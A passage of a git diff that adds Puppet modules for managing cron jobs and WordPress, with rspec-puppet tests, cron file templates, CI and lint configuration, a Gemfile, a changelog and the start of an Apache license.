'RedHat', + release: { major: '5' } + } + } + end + + it { + is_expected.to contain_service('crond').with( + 'name' => 'crond' + ) + } + end + + context 'CentOS 6' do + let :facts do + { + os: { + family: 'RedHat', + release: { major: '6' } + } + } + end + + it { + is_expected.to contain_service('crond').with( + 'name' => 'crond' + ) + } + end + + context 'Gentoo' do + let :facts do + { + os: { family: 'Gentoo' } + } + end + + it { + is_expected.to contain_service('cron').with( + 'name' => 'cron' + ) + } + end + + context 'Debian' do + let :facts do + { + os: { family: 'Debian' } + } + end + + it { + is_expected.to contain_service('cron').with( + 'name' => 'cron' + ) + } + end +end diff --git a/modules/utilities/unix/puppet_module/cron/spec/default_facts.yml b/modules/utilities/unix/puppet_module/cron/spec/default_facts.yml new file mode 100644 index 000000000..13c416576 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/default_facts.yml @@ -0,0 +1,14 @@ +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +# +# use default_module_facts.yaml for module specific +# facts. +# +# Hint if using with rspec-puppet-facts ("on_supported_os.each"): +# if a same named fact exists in facterdb it will be overridden. +--- +concat_basedir: "/tmp" +ipaddress: "172.16.254.254" +is_pe: false +macaddress: "AA:AA:AA:AA:AA:AA" diff --git a/modules/utilities/unix/puppet_module/cron/spec/defines/daily_spec.rb b/modules/utilities/unix/puppet_module/cron/spec/defines/daily_spec.rb new file mode 100644 index 000000000..f933c14c8 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/defines/daily_spec.rb @@ -0,0 +1,34 @@ +require 'spec_helper' + +describe 'cron::daily' do + let(:title) { 'mysql_backup' } + let(:params) do + { + minute: '59', + hour: '1', + command: 'mysqldump -u root test_db >some_file' + } + end + + it do + is_expected.to contain_cron__job(title).with( + 'minute' => params[:minute], + 'hour' => params[:hour], + 'date' => '*', + 'month' => '*', + 'weekday' => '*', + 'user' => params[:user] || 'root', + 'environment' => params[:environment] || [], + 'mode' => params[:mode] || '0644', + 'command' => params[:command] + ) + end + + it do + is_expected.to contain_file("job_#{title}").with( + 'owner' => 'root' + ).with_content( + %r{\s+59 1 \* \* \* root mysqldump -u root test_db >some_file\n} + ) + end +end diff --git a/modules/utilities/unix/puppet_module/cron/spec/defines/hourly_spec.rb b/modules/utilities/unix/puppet_module/cron/spec/defines/hourly_spec.rb new file mode 100644 index 000000000..9f4799c11 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/defines/hourly_spec.rb @@ -0,0 +1,33 @@ +require 'spec_helper' + +describe 'cron::hourly' do + let(:title) { 'mysql_backup' } + let(:params) do + { + minute: '59', + command: 'mysqldump -u root test_db >some_file' + } + end + + it do + is_expected.to contain_cron__job(title).with( + 'minute' => params[:minute], + 'hour' => '*', + 'date' => '*', + 'month' => '*', + 'weekday' => '*', + 'user' => params[:user] || 'root', + 'environment' => params[:environment] || [], + 'mode' => params[:mode] || '0644', + 'command' => params[:command] + ) + end + + it do + is_expected.to contain_file("job_#{title}").with( + 'owner' => 'root' + ).with_content( + %r{\s+59 \* \* \* \* root mysqldump -u root test_db >some_file\n} + ) + end +end diff --git a/modules/utilities/unix/puppet_module/cron/spec/defines/job_spec.rb b/modules/utilities/unix/puppet_module/cron/spec/defines/job_spec.rb new file mode 100644 index 000000000..b4f9bf9d9 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/defines/job_spec.rb @@ -0,0 +1,71 @@ +require 'spec_helper' + +describe 'cron::job' do + let(:title) { 'mysql_backup' } + + context 'job with default values' do + let(:params) { { command: 'mysqldump -u root test_db >some_file' } } + let(:cron_timestamp) { get_timestamp(params) } + + it do + is_expected.to contain_file("job_#{title}").with( + 'ensure' => 'file', + 'owner' => 'root', + 'group' => 'root', + 'mode' => '0644', + 'path' => "/etc/cron.d/#{title}" + ).with_content( + %r{\n#{cron_timestamp}\s+} + ).with_content( + %r{\s+#{params[:command]}\n} + ) + end + end + + context 'job with custom values' do + let(:params) do + { + minute: '45', + hour: '7', + date: '12', + month: '7', + weekday: '*', + environment: ['MAILTO="root"', 'PATH="/usr/sbin:/usr/bin:/sbin:/bin"'], + user: 'admin', + mode: '0644', + description: 'Mysql backup', + command: 'mysqldump -u root test_db >some_file' + } + end + let(:cron_timestamp) { get_timestamp(params) } + + it do + is_expected.to contain_file("job_#{title}").with( + 'owner' => 'root', + 'mode' => params[:mode] + ).with_content( + %r{\n#{params[:environment].join('\n')}\n} + ).with_content( + %r{\n#{cron_timestamp}\s+} + ).with_content( + %r{\s+#{params[:user]}\s+} + ).with_content( + %r{\s+#{params[:command]}\n} + ).with_content( + %r{\n# #{params[:description]}\n} + ) + end + end + + context 'job with ensure set to absent' do + let(:params) do + { + ensure: 'absent' + } + end + + it do + is_expected.to contain_file("job_#{title}").with('ensure' => 'absent') + end + end +end diff --git a/modules/utilities/unix/puppet_module/cron/spec/defines/monthly_spec.rb b/modules/utilities/unix/puppet_module/cron/spec/defines/monthly_spec.rb new file mode 100644 index 000000000..43dc273c7 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/defines/monthly_spec.rb @@ -0,0 +1,35 @@ +require 'spec_helper' + +describe 'cron::monthly' do + let(:title) { 'mysql_backup' } + let(:params) do + { + minute: '59', + hour: '1', + date: '20', + command: 'mysqldump -u root test_db >some_file' + } + end + + it do + is_expected.to contain_cron__job(title).with( + 'minute' => params[:minute], + 'hour' => params[:hour], + 'date' => params[:date], + 'month' => '*', + 'weekday' => '*', + 'user' => params[:user] || 'root', + 'environment' => params[:environment] || [], + 'mode' => params[:mode] || '0644', + 'command' => params[:command] + ) + end + + it do + is_expected.to contain_file("job_#{title}").with( + 'owner' => 'root' + ).with_content( + %r{\s+59 1 20 \* \* root mysqldump -u root test_db >some_file\n} + ) + end +end diff --git a/modules/utilities/unix/puppet_module/cron/spec/defines/multiple_spec.rb b/modules/utilities/unix/puppet_module/cron/spec/defines/multiple_spec.rb new file mode 100644 index 000000000..02a6883c1 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/defines/multiple_spec.rb @@ -0,0 +1,64 @@ +require 'spec_helper' + +describe 'cron::job::multiple' do + let(:title) { 'mysql_backup' } + + context 'multiple job with custom and default values' do + let(:params) do + { + environment: ['MAILTO="root"', 'PATH="/usr/sbin:/usr/bin:/sbin:/bin"'], + jobs: [ + { + 'minute' => '45', + 'hour' => '7', + 'date' => '12', + 'month' => '7', + 'weekday' => '*', + 'user' => 'admin', + 'command' => 'mysqldump -u root test_db >some_file' + }, + { + 'command' => '/bin/true' + } + ], + mode: '0640' + } + end + let(:cron_timestamp) { get_timestamp(params) } + + it do + is_expected.to contain_file("job_#{title}").with( + 'owner' => 'root', + 'mode' => params[:mode] + ).with_content( + %r{\n#{params[:environment].join('\n')}\n} + ).with_content( + %r{\n#{cron_timestamp}\s+} + ).with_content( + %r{\s+45 7 12 7 \* admin mysqldump -u root test_db >some_file\n} + ).with_content( + # /\s+\* \* \* \* \* root \/bin\/true\n/ + %r{\* \* \* \* \* root /bin/true} + ) + end + end + + context 'multiple job with ensure set to absent' do + let(:params) do + { + ensure: 'absent', + jobs: [ + { + 'command' => '/bin/true' + }, { + 'command' => '/bin/false' + } + ] + } + end + + it do + is_expected.to contain_file("job_#{title}").with('ensure' => 'absent') + end + end +end diff --git a/modules/utilities/unix/puppet_module/cron/spec/defines/weekly_spec.rb b/modules/utilities/unix/puppet_module/cron/spec/defines/weekly_spec.rb new file mode 100644 index 000000000..501666998 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/defines/weekly_spec.rb @@ -0,0 +1,35 @@ +require 'spec_helper' + +describe 'cron::weekly' do + let(:title) { 'mysql_backup' } + let(:params) do + { + minute: '59', + hour: '1', + weekday: '2', + command: 'mysqldump -u root test_db >some_file' + } + end + + it do + is_expected.to contain_cron__job(title).with( + 'minute' => params[:minute], + 'hour' => params[:hour], + 'date' => '*', + 'month' => '*', + 'weekday' => params[:weekday], + 'user' => params[:user] || 'root', + 'environment' => params[:environment] || [], + 'mode' => params[:mode] || '0644', + 'command' => params[:command] + ) + end + + it do + is_expected.to contain_file("job_#{title}").with( + 'owner' => 'root' + ).with_content( + %r{\s+59 1 \* \* 2 root mysqldump -u root test_db >some_file\n} + ) + end +end diff --git a/modules/utilities/unix/puppet_module/cron/spec/hosts/.gitkeep b/modules/utilities/unix/puppet_module/cron/spec/hosts/.gitkeep new file mode 100644 index 000000000..e69de29bb diff --git a/modules/utilities/unix/puppet_module/cron/spec/spec_helper.rb b/modules/utilities/unix/puppet_module/cron/spec/spec_helper.rb new file mode 100644 index 000000000..95902045c --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/spec_helper.rb @@ -0,0 +1,32 @@ +require 'puppetlabs_spec_helper/module_spec_helper' +require 'rspec-puppet-facts' +include RspecPuppetFacts + +if Dir.exist?(File.expand_path('../../lib', __FILE__)) + require 'coveralls' + require 'simplecov' + require 'simplecov-console' + SimpleCov.formatters = [ + SimpleCov::Formatter::HTMLFormatter, + SimpleCov::Formatter::Console + ] + SimpleCov.start do + track_files 'lib/**/*.rb' + add_filter '/spec' + add_filter '/vendor' + add_filter '/.vendor' + end +end + +RSpec.configure do |c| + default_facts = { + puppetversion: Puppet.version, + facterversion: Facter.version + } + default_facts.merge!(YAML.load(File.read(File.expand_path('../default_facts.yml', __FILE__)))) if File.exist?(File.expand_path('../default_facts.yml', __FILE__)) + default_facts.merge!(YAML.load(File.read(File.expand_path('../default_module_facts.yml', __FILE__)))) if File.exist?(File.expand_path('../default_module_facts.yml', __FILE__)) + c.default_facts = default_facts +end + +require 'spec_helper_methods' +# vim: syntax=ruby diff --git a/modules/utilities/unix/puppet_module/cron/spec/spec_helper_methods.rb b/modules/utilities/unix/puppet_module/cron/spec/spec_helper_methods.rb new file mode 100644 index 000000000..d784db41c --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/spec/spec_helper_methods.rb @@ -0,0 +1,7 @@ +def get_timestamp(params = {}) + stamp = '' + [:minute, :hour, :date, :month, :weekday].each do |k| + stamp << "#{params[k] || '*'} " + end + stamp.strip +end diff --git a/modules/utilities/unix/puppet_module/cron/templates/.gitkeep b/modules/utilities/unix/puppet_module/cron/templates/.gitkeep new file mode 100644 index 000000000..e69de29bb diff --git a/modules/utilities/unix/puppet_module/cron/templates/job.erb b/modules/utilities/unix/puppet_module/cron/templates/job.erb new file mode 100644 index 000000000..4497a732e --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/templates/job.erb @@ -0,0 +1,24 @@ +################################################################################ +# This file is managed by Puppet, and is refreshed regularly. # +# Edit at your own peril! # +################################################################################ +## <%= @name %> Cron Job + +# Environment Settings +<% Array(@environment).join("\n").split(%r{\n}).each do |env_var| + if env_var.match(%r{\S+=\S+}) -%> +<%= env_var %> +<% elsif env_var.match(%r{\S}) -%> +## Possible input error: <%= env_var %> +<% end + end -%> + +# Job Definition +<% if @description -%> +# <%= @description %> +<% end -%> +<%- if @special.nil? -%> +<%= @minute %> <%= @hour %> <%= @date %> <%= @month %> <%= @weekday %> <%= @user %> <%= @command %> +<% else -%> +@<%= @special %> <%= @user %> <%= @command %> +<% end -%> diff --git a/modules/utilities/unix/puppet_module/cron/templates/multiple.erb b/modules/utilities/unix/puppet_module/cron/templates/multiple.erb new file mode 100644 index 000000000..d9be31409 --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/templates/multiple.erb @@ -0,0 +1,47 @@ +################################################################################ +# This file is managed by Puppet, and is refreshed regularly. # +# Edit at your own peril! # +################################################################################ +## <%= @name %> Cron Job + +# Environment Settings +<% Array(@environment).join("\n").split(%r{\n}).each do |env_var| + if env_var.match(%r{\S+=\S+}) -%> +<%= env_var %> +<% elsif env_var.match(%r{\S}) -%> +## Possible input error: <%= env_var %> +<% end + end -%> + +<%- Array(@jobs).each do | job | -%> + <%- if job['command'].nil? -%> + <%- scope.function_fail(["Must pass command to Cron::Jobs"]) -%> + <%- end -%> + <%- if job['minute'].nil? -%> + <%- job['minute'] = '*' -%> + <%- end -%> + <%- if job['hour'].nil? -%> + <%- job['hour'] = '*' -%> + <%- end -%> + <%- if job['date'].nil? -%> + <%- job['date'] = '*' -%> + <%- end -%> + <%- if job['month'].nil? -%> + <%- job['month'] = '*' -%> + <%- end -%> + <%- if job['weekday'].nil? -%> + <%- job['weekday'] = '*' -%> + <%- end -%> + <%- if job['user'].nil? -%> + <%- job['user'] = 'root' -%> + <%- end -%> +<% if job.has_key?('description') -%> + +# <%= job['description'] %> +<% end -%> +<%- if job['special'].nil? -%> +<%= job['minute'] %> <%= job['hour'] %> <%= job['date'] %> <%= job['month'] %> <%= job['weekday'] %> <%= job['user'] %> <%= job['command'] %> +<% else -%> +@<%= job['special'] %> <%= job['user'] %> <%= job['command'] %> +<% end -%> +<% end -%> diff --git a/modules/utilities/unix/puppet_module/cron/templates/users.epp b/modules/utilities/unix/puppet_module/cron/templates/users.epp new file mode 100644 index 000000000..d0fc5914c --- /dev/null +++ b/modules/utilities/unix/puppet_module/cron/templates/users.epp @@ -0,0 +1,7 @@ +<% | Array[String] $users | %> + +# Managed by Puppet + +<% $users.each | $user | { -%> +<%= $user %> +<% } -%> diff --git a/modules/utilities/unix/puppet_module/wordpress/.fixtures.yml b/modules/utilities/unix/puppet_module/wordpress/.fixtures.yml new file mode 100644 index 000000000..1d6ff32f3 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/.fixtures.yml @@ -0,0 +1,7 @@ +fixtures: + repositories: + concat: "git://github.com/ripienaar/puppet-concat.git" + mysql: "git://github.com/puppetlabs/puppetlabs-mysql.git" + stdlib: "git://github.com/puppetlabs/puppetlabs-stdlib.git" + symlinks: + wordpress: "#{source_dir}" diff --git a/modules/utilities/unix/puppet_module/wordpress/.gitignore b/modules/utilities/unix/puppet_module/wordpress/.gitignore new file mode 100644 index 000000000..56efb9ca1 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/.gitignore @@ -0,0 +1,22 @@ +.*.sw[op] +.metadata +.yardoc +.yardwarns +*.iml +/.bundle/ +/.idea/ +/.vagrant/ +/coverage/ +/bin/ +/doc/ +/Gemfile.local +/Gemfile.lock +/junit/ +/log/ +/pkg/ +/spec/fixtures/manifests/ +/spec/fixtures/modules/ +/tmp/ +/vendor/ +/convert_report.txt +.DS_Store diff --git a/modules/utilities/unix/puppet_module/wordpress/.gitlab-ci.yml b/modules/utilities/unix/puppet_module/wordpress/.gitlab-ci.yml new file mode 100644 index 000000000..35e420994 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/.gitlab-ci.yml @@ -0,0 +1,70 @@ +--- +stages: + - test_2.4.1 + - test_2.1.9 + +before_script: + - bundle -v + - rm Gemfile.lock || true + - gem update --system + - gem update bundler + - gem --version + - bundle -v + - bundle install --without system_tests + +rubocop-2.4.1: + stage: test_2.4.1 + image: ruby:2.4.1 + script: + - bundle exec rake rubocop + +syntax-2.4.1: + stage: test_2.4.1 + image: ruby:2.4.1 + script: + - bundle exec rake syntax lint + +metadata-2.4.1: + stage: test_2.4.1 + image: ruby:2.4.1 + script: + - bundle exec rake metadata_lint + +rspec-puppet-2.4.1: + stage: test_2.4.1 + image: ruby:2.4.1 + variables: + PUPPET_GEM_VERSION: ~> 4.0 + CHECK: spec + script: + - bundle update + - bundle exec rake $CHECK + +rubocop-2.1.9: + stage: test_2.1.9 + image: ruby:2.1.9 + script: + - bundle exec rake rubocop + +syntax-2.1.9: + stage: test_2.1.9 + image: ruby:2.1.9 + script: + - bundle exec rake syntax lint + +metadata-2.1.9: + stage: test_2.1.9 + image: ruby:2.1.9 + script: + - bundle exec rake metadata_lint + +rspec-puppet-2.1.9: + stage: test_2.1.9 + image: ruby:2.1.9 + variables: + PUPPET_GEM_VERSION: ~> 4.0 + CHECK: spec + script: + - bundle update + - bundle exec rake $CHECK + diff --git a/modules/utilities/unix/puppet_module/wordpress/.pdkignore b/modules/utilities/unix/puppet_module/wordpress/.pdkignore new file mode 100644 index 000000000..56efb9ca1 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/.pdkignore @@ -0,0 +1,22 @@ +.*.sw[op] +.metadata +.yardoc +.yardwarns +*.iml +/.bundle/ +/.idea/ +/.vagrant/ +/coverage/ +/bin/ +/doc/ +/Gemfile.local +/Gemfile.lock +/junit/ +/log/ +/pkg/ +/spec/fixtures/manifests/ +/spec/fixtures/modules/ +/tmp/ +/vendor/ +/convert_report.txt +.DS_Store diff --git a/modules/utilities/unix/puppet_module/wordpress/.rspec b/modules/utilities/unix/puppet_module/wordpress/.rspec new file mode 100644 index 000000000..16f9cdb01 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/.rspec @@ -0,0 +1,2 @@ +--color +--format documentation diff --git a/modules/utilities/unix/puppet_module/wordpress/.rubocop.yml b/modules/utilities/unix/puppet_module/wordpress/.rubocop.yml new file mode 100644 index 000000000..40a58e071 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/.rubocop.yml @@ -0,0 +1,107 @@ +--- +require: rubocop-rspec +AllCops: + DisplayCopNames: true + TargetRubyVersion: '2.1' + Include: + - "./**/*.rb" + Exclude: + - bin/* + - ".vendor/**/*" + - Gemfile + - Rakefile + - pkg/**/* + - spec/fixtures/**/* + - vendor/**/* +Metrics/LineLength: + Description: People have wide screens, use them. + Max: 200 +RSpec/BeforeAfterAll: + Description: Beware of using after(:all) as it may cause state to leak between tests. + A necessary evil in acceptance testing. + Exclude: + - spec/acceptance/**/*.rb +RSpec/HookArgument: + Description: Prefer explicit :each argument, matching existing module's style + EnforcedStyle: each +Style/BlockDelimiters: + Description: Prefer braces for chaining. Mostly an aesthetical choice. Better to + be consistent then. + EnforcedStyle: braces_for_chaining +Style/ClassAndModuleChildren: + Description: Compact style reduces the required amount of indentation. + EnforcedStyle: compact +Style/EmptyElse: + Description: Enforce against empty else clauses, but allow `nil` for clarity. + EnforcedStyle: empty +Style/FormatString: + Description: Following the main puppet project's style, prefer the % format format. + EnforcedStyle: percent +Style/FormatStringToken: + Description: Following the main puppet project's style, prefer the simpler template + tokens over annotated ones. + EnforcedStyle: template +Style/Lambda: + Description: Prefer the keyword for easier discoverability. + EnforcedStyle: literal +Style/RegexpLiteral: + Description: Community preference. See https://github.com/voxpupuli/modulesync_config/issues/168 + EnforcedStyle: percent_r +Style/TernaryParentheses: + Description: Checks for use of parentheses around ternary conditions. Enforce parentheses + on complex expressions for better readability, but seriously consider breaking + it up. + EnforcedStyle: require_parentheses_when_complex +Style/TrailingCommaInArguments: + Description: Prefer always trailing comma on multiline argument lists. This makes + diffs, and re-ordering nicer. + EnforcedStyleForMultiline: comma +Style/TrailingCommaInLiteral: + Description: Prefer always trailing comma on multiline literals. This makes diffs, + and re-ordering nicer. + EnforcedStyleForMultiline: comma +Style/SymbolArray: + Description: Using percent style obscures symbolic intent of array's contents. + EnforcedStyle: brackets +RSpec/MessageSpies: + EnforcedStyle: receive +Style/CollectionMethods: + Enabled: true +Style/MethodCalledOnDoEndBlock: + Enabled: true +Style/StringMethods: + Enabled: true +Layout/EndOfLine: + Enabled: false +Metrics/AbcSize: + Enabled: false +Metrics/BlockLength: + Enabled: false +Metrics/ClassLength: + Enabled: false +Metrics/CyclomaticComplexity: + Enabled: false +Metrics/MethodLength: + Enabled: false +Metrics/ModuleLength: + Enabled: false +Metrics/ParameterLists: + Enabled: false +Metrics/PerceivedComplexity: + Enabled: false +RSpec/DescribeClass: + Enabled: false +RSpec/ExampleLength: + Enabled: false +RSpec/MessageExpectation: + Enabled: false +RSpec/MultipleExpectations: + Enabled: false +RSpec/NestedGroups: + Enabled: false +Style/AsciiComments: + Enabled: false +Style/IfUnlessModifier: + Enabled: false +Style/SymbolProc: + Enabled: false diff --git a/modules/utilities/unix/puppet_module/wordpress/.travis.yml b/modules/utilities/unix/puppet_module/wordpress/.travis.yml new file mode 100644 index 000000000..6b1f5fbe4 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/.travis.yml @@ -0,0 +1,48 @@ +--- +sudo: false +dist: trusty +language: ruby +cache: bundler +before_install: + - bundle -v + - rm Gemfile.lock || true + - gem update --system + - gem update bundler + - gem --version + - bundle -v +script: + - 'bundle exec rake $CHECK' +bundler_args: --without system_tests +rvm: + - 2.4.1 +env: + - PUPPET_GEM_VERSION="~> 5.0" CHECK=spec +matrix: + fast_finish: true + include: + - + env: CHECK=rubocop + - + env: CHECK="syntax lint" + - + env: CHECK=metadata_lint + - + env: CHECK=spec + - + env: PUPPET_GEM_VERSION="~> 4.0" CHECK=spec + rvm: 2.1.9 +branches: + only: + - master + - /^v\d/ +notifications: + email: false +deploy: + provider: puppetforge + user: puppet + password: + secure: "" + on: + tags: true + all_branches: true + condition: "$DEPLOY_TO_FORGE = yes" diff --git a/modules/utilities/unix/puppet_module/wordpress/.yardopts b/modules/utilities/unix/puppet_module/wordpress/.yardopts new file mode 100644 index 000000000..29c933bcf --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/.yardopts @@ -0,0 +1 @@ +--markup markdown diff --git a/modules/utilities/unix/puppet_module/wordpress/CHANGELOG b/modules/utilities/unix/puppet_module/wordpress/CHANGELOG new file mode 100644 index 000000000..50c8e26b0 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/CHANGELOG @@ -0,0 +1,73 @@ +2014-10-15 Release 1.0.0 +Features +- Multiple instances ability via wordpress::instance +- New wp_debug, wp_debug_log, and wp_debug_display parameters for debug output +- New wp_config_content parameter for custom configuration + +Bugfixes: +- Convert rspec-system tests to beaker-rspec tests +- Updated readme + +2014-01-16 Release 0.6.0 +Features: +- Add `wordpress::wp_additional_config` parameter for custom template +fragments. +- Add `wordpress::wp_table_prefix` to customize the table prefix in mysql. + +Bugfixes: +- Fix idempotency for `mysql_grant` privileges. + +2013-12-17 Release 0.5.1 +Features: +- Update default version of wordpress to install to 3.8 +- Add `wordpress::wp_proxy_host` and `wordpress::wp_proxy_port` for proxying +plugin installation. +- Add `wordpress::wp_mulitsite` and `wordpress::wp_multisite` to enable +multisite support +- Update to work with latest 2.x puppetlabs-mysql +- Update to work with latest 1.x puppetlabs-concat +- Add rspec-system integration testing, travis testing, and autopublish + +Bugfixes: +- Fix ownership during installation to reduce log output and increase +idempotency. + +2013-12-17 Release 0.5.0 +This release is invalid and was removed. + +2013-09-19 Release 0.4.2 +Bugfixes: +- Correct Modulefile module name + +2013-09-19 Release 0.4.1 +Bugfixes: +- Escape \'s in the salt + +2013-06-17 Release 0.4.0 +Features: +- Add `wordpress::wp_lang` parameter +- Add `wordpress::wp_plugin_dir` parameter + +Bugfixes: +- Add class anchors +- Conditionalize directory management +- Fix `@db_host` template variable + +2012-12-31 Release 0.2.3 +Changes: +- Remove Apache php configuration; that responsibility falls outside of this module. + +2012-12-28 Release 0.2.2 +Bugfixes: +- Pass required parameters + +2012-12-28 Release 0.2.1 +Bugfixes: +- Remove extraneous files from module. + +2012-12-28 Release 0.2.0 +Changes: +- Add `install_url` parameter to download tarball from other location + +2012-12-28 Release 0.1.0 +- Initial rewrite from jonhadfield/master diff --git a/modules/utilities/unix/puppet_module/wordpress/Gemfile b/modules/utilities/unix/puppet_module/wordpress/Gemfile new file mode 100644 index 000000000..655b01465 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/Gemfile @@ -0,0 +1,126 @@ +source ENV['GEM_SOURCE'] || 'https://rubygems.org' + +def location_for(place_or_version, fake_version = nil) + if place_or_version =~ %r{\A(git[:@][^#]*)#(.*)} + [fake_version, { git: Regexp.last_match(1), branch: Regexp.last_match(2), require: false }].compact + elsif place_or_version =~ %r{\Afile:\/\/(.*)} + ['>= 0', { path: File.expand_path(Regexp.last_match(1)), require: false }] + else + [place_or_version, { require: false }] + end +end + +def gem_type(place_or_version) + if place_or_version =~ %r{\Agit[:@]} + :git + elsif !place_or_version.nil? && place_or_version.start_with?('file:') + :file + else + :gem + end +end + +ruby_version_segments = Gem::Version.new(RUBY_VERSION.dup).segments +minor_version = ruby_version_segments[0..1].join('.') + +group :development do + gem "fast_gettext", '1.1.0', require: false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.1.0') + gem "fast_gettext", require: false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.1.0') + gem "json_pure", '<= 2.0.1', require: false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.0.0') + gem "json", '= 1.8.1', require: false if Gem::Version.new(RUBY_VERSION.dup) == Gem::Version.new('2.1.9') + gem "puppet-module-posix-default-r#{minor_version}", require: false, platforms: [:ruby] + gem "puppet-module-posix-dev-r#{minor_version}", require: false, platforms: [:ruby] + gem "puppet-module-win-default-r#{minor_version}", require: false, platforms: [:mswin, :mingw, :x64_mingw] + gem "puppet-module-win-dev-r#{minor_version}", require: false, platforms: [:mswin, :mingw, :x64_mingw] +end + +puppet_version = ENV['PUPPET_GEM_VERSION'] +puppet_type = gem_type(puppet_version) +facter_version = ENV['FACTER_GEM_VERSION'] +hiera_version = ENV['HIERA_GEM_VERSION'] + +def puppet_older_than?(version) + puppet_version = ENV['PUPPET_GEM_VERSION'] + !puppet_version.nil? && + Gem::Version.correct?(puppet_version) && + Gem::Requirement.new("< #{version}").satisfied_by?(Gem::Version.new(puppet_version.dup)) +end + +gems = {} + +gems['puppet'] = location_for(puppet_version) + +# If facter or hiera versions have been specified via the environment +# variables, use those versions. If not, and if the puppet version is < 3.5.0, +# use known good versions of both for puppet < 3.5.0. +if facter_version + gems['facter'] = location_for(facter_version) +elsif puppet_type == :gem && puppet_older_than?('3.5.0') + gems['facter'] = ['>= 1.6.11', '<= 1.7.5', require: false] +end + +if hiera_version + gems['hiera'] = location_for(ENV['HIERA_GEM_VERSION']) +elsif puppet_type == :gem && puppet_older_than?('3.5.0') + gems['hiera'] = ['>= 1.0.0', '<= 1.3.0', require: false] +end + +if Gem.win_platform? && (puppet_type != :gem || puppet_older_than?('3.5.0')) + # For Puppet gems < 3.5.0 (tested as far back as 3.0.0) on Windows + if puppet_type == :gem + gems['ffi'] = ['1.9.0', require: false] + gems['minitar'] = ['0.5.4', require: false] + gems['win32-eventlog'] = ['0.5.3', '<= 0.6.5', require: false] + gems['win32-process'] = ['0.6.5', '<= 0.7.5', require: false] + gems['win32-security'] = ['~> 0.1.2', '<= 0.2.5', require: false] + gems['win32-service'] = ['0.7.2', '<= 0.8.8', require: false] + else + gems['ffi'] = ['~> 1.9.0', require: false] + gems['minitar'] = ['~> 0.5.4', require: false] + gems['win32-eventlog'] = ['~> 0.5', '<= 0.6.5', require: false] + gems['win32-process'] = ['~> 0.6', '<= 0.7.5', require: false] + gems['win32-security'] = ['~> 0.1', '<= 0.2.5', require: false] + gems['win32-service'] = ['~> 0.7', '<= 0.8.8', require: false] + end + + gems['win32-dir'] = ['~> 0.3', '<= 0.4.9', require: false] + + if RUBY_VERSION.start_with?('1.') + gems['win32console'] = ['1.3.2', require: false] + # sys-admin was removed in Puppet 3.7.0 and doesn't compile under Ruby 2.x + gems['sys-admin'] = ['1.5.6', require: false] + end + + # Puppet < 3.7.0 requires these. + # Puppet >= 3.5.0 gem includes these as requirements. + # The following versions are tested to work with 3.0.0 <= puppet < 3.7.0. + gems['win32-api'] = ['1.4.8', require: false] + gems['win32-taskscheduler'] = ['0.2.2', require: false] + gems['windows-api'] = ['0.4.3', require: false] + gems['windows-pr'] = ['1.2.3', require: false] +elsif Gem.win_platform? + # If we're using a Puppet gem on Windows which handles its own win32-xxx gem + # dependencies (>= 3.5.0), set the maximum versions (see PUP-6445). + gems['win32-dir'] = ['<= 0.4.9', require: false] + gems['win32-eventlog'] = ['<= 0.6.5', require: false] + gems['win32-process'] = ['<= 0.7.5', require: false] + gems['win32-security'] = ['<= 0.2.5', require: false] + gems['win32-service'] = ['<= 0.8.8', require: false] +end + +gems.each do |gem_name, gem_params| + gem gem_name, *gem_params +end + +# Evaluate Gemfile.local and ~/.gemfile if they exist +extra_gemfiles = [ + "#{__FILE__}.local", + File.join(Dir.home, '.gemfile'), +] + +extra_gemfiles.each do |gemfile| + if File.file?(gemfile) && File.readable?(gemfile) + eval(File.read(gemfile), binding) + end +end +# vim: syntax=ruby diff --git a/modules/utilities/unix/puppet_module/wordpress/LICENSE b/modules/utilities/unix/puppet_module/wordpress/LICENSE new file mode 100644 index 000000000..d64569567 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/LICENSE @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, 